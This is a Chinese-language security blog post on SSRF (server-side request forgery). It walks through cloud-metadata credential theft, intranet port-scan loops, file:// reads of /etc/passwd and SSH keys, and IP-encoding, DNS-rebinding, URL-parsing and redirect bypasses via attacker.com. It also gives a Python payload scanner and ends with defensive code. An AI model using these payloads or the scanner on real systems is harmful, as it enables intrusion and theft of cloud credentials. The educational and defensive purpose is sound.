SSRF漏洞：从内网探测到云元数据窃取，黑客是怎么绕过的？
上个月帮朋友做了一次红蓝对抗，对方一个看似人畜无害的「图片裁剪」功能，差点让我们把整个阿里云账号的 AccessKey 都掏出来了。
这就是 SSRF（Server-Side Request Forgery，服务端请求伪造） 的威力——你以为是前端传了个URL，服务端老实巴交地去请求，结果那台服务器就成了黑客的内网跳板。
很多开发觉得「我做了IP白名单就安全了」，但现实是——绕过方案比防御方案多。今天我把这几年实战中遇到的SSRF攻击场景、绕过手法和防御方案全盘托出，看完你应该能少踩几个坑。
一个真实案例：图片裁剪引发的数据泄露
某电商平台的用户头像功能，支持「从URL导入头像」。前端传一个图片链接，后端去下载再裁剪。
# 简化后的代码
def fetch_avatar(url):resp = requests.get(url, timeout=5)save_image(resp.content)return "ok"看着没毛病对吧？但问题是——后端服务器在内网，它可以访问内网资源。
攻击者传了这么一个URL：
http://169.254.169.254/latest/meta-data/ram/security-credentials/admin-role169.254.169.254 是所有云厂商的元数据服务端点。只要后端服务器在云上跑，这个请求就能返回该服务器的临时凭证。
结果？该API直接返回了 aliyun-access-key-id、access-key-secret 和 security-token。
有了这三样，攻击者可以在云厂商API中以该服务器的身份执行任何操作——创建ECS、下载OSS文件、甚至配置网络规则。
这就是SSRF最经典的杀伤路径：外部可控URL → 内网探测 → 云元数据窃取 → 横向移动。
那我们来看看攻击者具体怎么玩。
SSRF的三种常见场景
1. 内网端口扫描
SSRF最常见的用法是探测内网。攻击者构造一个循环，挨个扫描内网IP和端口：
# 遍历内网C段
for ip in 10.0.0.{1..254}; dofor port in 22 80 443 3306 6379 8080 9200; docurl "http://target.com/fetch?url=http://$ip:$port/"done
done通过响应时间差、返回内容、状态码来判断端口是否开放。如果返回了某些服务的Banner，那直接喜提内网资产信息。
实际场景中我还见过更狠的——攻击者不是手动扫，而是用脚本配合Burp Suite的Intruder，一个接口10分钟就扫完整个内网。
2. 云元数据攻击
前面提到的元数据端点，各云厂商地址不同：
云厂商元数据端点AWShttp://169.254.169.254/latest/meta-data/阿里云http://100.100.100.200/latest/meta-data/腾讯云http://metadata.tencentyun.com/latest/meta-data/华为云http://169.254.169.254/openstack/latest/GCPhttp://metadata.google.internal/computeMetadata/v1/攻击者拿到凭证后，通常执行以下操作：
# 1. 获取RAM角色名称
curl http://169.254.169.254/latest/meta-data/ram/security-credentials/# 2. 获取临时凭证
curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ecs-role# 3. 用凭证操作云API
aliyun ecs DescribeInstances --region cn-hangzhou \--access-key-id <STS.xxx> \--access-key-secret <xxx> \--security-token <xxx>3. 文件协议读取
有些服务端不仅支持HTTP，还支持 file:// 协议：
import requests
# 漏洞代码：未限制协议类型
def read_resource(url):if url.startswith('http'):return requests.get(url).text# 但支持 file://return open(url.replace('file://', '')).read()攻击者可以构造：
file:///etc/passwd
file:///proc/self/environ # 环境变量，可能泄露数据库密码
file:///proc/self/fd/1 # 日志文件，寻找敏感信息
file:///root/.ssh/id_rsa # SSH密钥SSRF绕过手法大全（攻击者视角）
防御方最常见的做法是「黑名单IP」或「白名单域名」。然而…每种方案都有对应的绕过方式。
绕过IP黑名单
你以为禁止了 127.0.0.1 就安全了？
# 十进制IP
http://2130706433/ # 等价于 127.0.0.1
http://0x7f000001/ # 十六进制
http://0x7f.0x0.0x0.0x1/ # 混合进制# 短格式
http://127.1/ # 等价 127.0.0.1
http://0/ # 等价 0.0.0.0# IPv6映射
http://[::1]/ # localhost的IPv6
http://[0:0:0:0:0:ffff:127.0.0.1]/# DNS重绑定（经典的SSRF绕过大法）
# 注册一个域名，第一次解析到合法IP，第二次解析到内网IP
http://ssrf-bind.example.com/DNS重绑定是最骚的绕过方式。原理很简单：攻击者注册一个域名，配置极短的TTL（比如1秒），让域名在两个IP之间来回切换。第一次DNS查询返回合法IP（通过白名单检查），第二次查询（发起实际请求时）返回内网IP。
我写过一个小工具演示这个过程：
import socket
import time# 模拟DNS重绑定攻击
domain = "evil.dnsrebind.example.com"
real_ip = socket.gethostbyname(domain)
# 第一次查询：返回8.8.8.8（看起来安全）
print(f"第一次解析: {real_ip}")# 等待TTL过期（通常设1-5秒）
time.sleep(2)# 第二次查询：返回10.0.0.1（内网地址）
rebound_ip = socket.gethostbyname(domain)
print(f"第二次解析: {rebound_ip}")绕过URL解析差异
很多防御方案用 urllib.parse 来解析URL做校验，但发起请求时用的却是 requests 或 curl。这两个库的URL解析逻辑有差异，攻击者可以利用这一点。
# 防御方校验（用urllib）
parsed = urllib.parse.urlparse(url)
# parsed.hostname = "baidu.com" ✅ 看起来没问题# 实际请求用（用requests）
# 实际请求去了 http://10.0.0.1:80/构造方式示例：
# 利用@符号解析差异
http://baidu.com@10.0.0.1:80/admin# 利用#符号截断
http://10.0.0.1:80#@baidu.com# 利用DNS命名规范（下划线在某些实现中被忽略）
http://baidu_com.10.0.0.1/# URL编码
http://127.0.0.1%2f%2f%2fbaidu.com绕过302跳转
有些系统会检查目标URL是否在白名单内，但攻击者可以构造一个「中间人」域名：
# 攻击者搭建一个服务器
# 第一次请求 → 返回302跳转到内网地址
curl "http://target.com/fetch?url=http://attacker.com/redirect"
# 跳转到 http://169.254.169.254/latest/meta-data/如果后端不检查跳转目标（allow_redirects=True），这就是一个经典的SSRF利用方式。
实战代码：SSRF漏洞检测工具
下面是我在实战中常用的一款轻量检测脚本（Python3），可以帮助快速验证SSRF是否存在：
#!/usr/bin/env python3
"""
SSRF漏洞快速验证工具
用法: python3 ssrf_check.py <target_url> <param_name>
示例: python3 ssrf_check.py "http://example.com/fetch" "url"
"""import requests
import sys
import time
from urllib.parse import urljoin# 测试Payload列表
PAYLOADS = {"本地回环": ["http://127.0.0.1:80/","http://localhost:80/","http://[::1]:80/","http://0:80/","http://0.0.0.0:80/","http://2130706433:80/",],"云元数据": ["http://169.254.169.254/latest/meta-data/","http://100.100.100.200/latest/meta-data/","http://metadata.tencentyun.com/latest/meta-data/",],"内网常见端口": ["http://172.16.0.1:22/","http://10.0.0.1:80/","http://192.168.1.1:3306/","http://10.0.0.1:6379/","http://10.0.0.1:9200/","http://10.0.0.1:27017/",],"文件读取": ["file:///etc/passwd","file:///proc/self/environ",],
}def check_ssrf(base_url, param):"""对指定参数注入SSRF测试payload，根据响应判断是否存在漏洞"""print(f"[*] 目标: {base_url}")print(f"[*] 参数: {param}")print("=" * 60)for category, urls in PAYLOADS.items():print(f"\n[+] 测试类别: {category}")for test_url in urls:try:params = {param: test_url}start = time.time()resp = requests.get(base_url, params=params, timeout=8, allow_redirects=False)elapsed = time.time() - start# 判断依据：# 1. 状态码200且有响应体 → 可能是成功# 2. 响应时间异常（连接超时或拒绝）→ 端口可能开放# 3. 响应内容包含特定字符串indicators = [resp.status_code == 200,elapsed > 2, # 连接成功但没数据"root:" in resp.text, # /etc/passwd特征"secret" in resp.text.lower(),"access-key" in resp.text.lower(),]if any(indicators):print(f" ⚠️ {test_url}")print(f" 状态: {resp.status_code}, 耗时: {elapsed:.2f}s")if resp.text:preview = resp.text[:200].replace('\n', '\\n')print(f" 响应: {preview}...")else:print(f" - {test_url} → {resp.status_code}")except requests.exceptions.Timeout:print(f" ⏱ {test_url} → 超时（可能端口开放）")except requests.exceptions.ConnectionError:print(f" ✗ {test_url} → 连接拒绝")except Exception as e:print(f" ! {test_url} → {e}")if __name__ == "__main__":if len(sys.argv) < 3:print("用法: python3 ssrf_check.py <target_url> <param_name>")sys.exit(1)check_ssrf(sys.argv[1], sys.argv[2])这个工具的逻辑很简单——遍历常见的内网IP、云元数据端点、文件协议URL，观察响应状态和内容来判断是否存在SSRF。
正确的防御方案
讲完了攻击，我们来看防御。很多团队的方案是：
「禁止掉127.0.0.1和169.254.169.254就行了吧？」
不够，远远不够。 上面那些绕过方式随便一个就能破。
推荐防御方案（按推荐度排序）
方案一：使用白名单 + URL解析后校验（推荐）
import ipaddress
from urllib.parse import urlparseALLOWED_HOSTS = ["img.example.com", "cdn.example.com"]def safe_fetch(url):parsed = urlparse(url)# 1. 只允许HTTP/HTTPS协议if parsed.scheme not in ("http", "https"):raise ValueError("不支持的协议")# 2. 只允许白名单域名if parsed.hostname not in ALLOWED_HOSTS:raise ValueError("域名不在白名单内")# 3. 确保域名解析到公网IP（不是内网IP）try:import socketip = socket.gethostbyname(parsed.hostname)addr = ipaddress.ip_address(ip)if addr.is_private or addr.is_loopback or addr.is_link_local:raise ValueError("禁止访问内网地址")except socket.gaierror:raise ValueError("域名解析失败")return requests.get(url, timeout=5, allow_redirects=False)方案二：使用无网络权限的单独服务
把需要请求外部URL的功能放到一个独立的容器或函数中，不绑定任何内网权限。
# docker-compose 示例
services:image-fetcher:build: ./fetcher# 关键：只给公网访问，不给内网权限networks:- external-onlynetworks:external-only:internal: false # 不能访问内网方案三：禁用重定向
# 最简洁的防御
response = requests.get(url, timeout=5, allow_redirects=False)如果业务需要重定向，一定要验证最终跳转目标：
response = requests.get(url, timeout=5, allow_redirects=True)
final_url = response.url # 最终跳转后的URL
final_parsed = urlparse(final_url)
# 再次校验 final_parsed.hostname总结
SSRF不是新漏洞，但它在云原生时代杀伤力暴增——因为不再只是扫个内网端口，而是能直接窃取云账户凭证。
作为安全从业者，我给大家几个建议：
- 别信用户输入的URL——不管它看起来多正常
- 别自己写URL校验逻辑——用成熟的库，且注意库之间的解析差异
- 网络隔离比代码过滤更可靠——如果容器连不上元数据，SSRF就废了
- 定期检查云RAM角色权限——最小权限原则，一个ECS不需要创建VPC的权限
最后送一句话：SSRF最好的防御不是黑名单，而是网络层面的隔离。
你的系统里有没有类似的「图片下载」「文件导入」「Webhook回调」功能？去检查一下请求目标是否可控，说不定能发现惊喜（或者惊吓）。
本文由关注「安全值班室」公众号，每天一篇实战攻防案例。
关注「安全值班室」公众号
实战攻防案例 + 安全干货
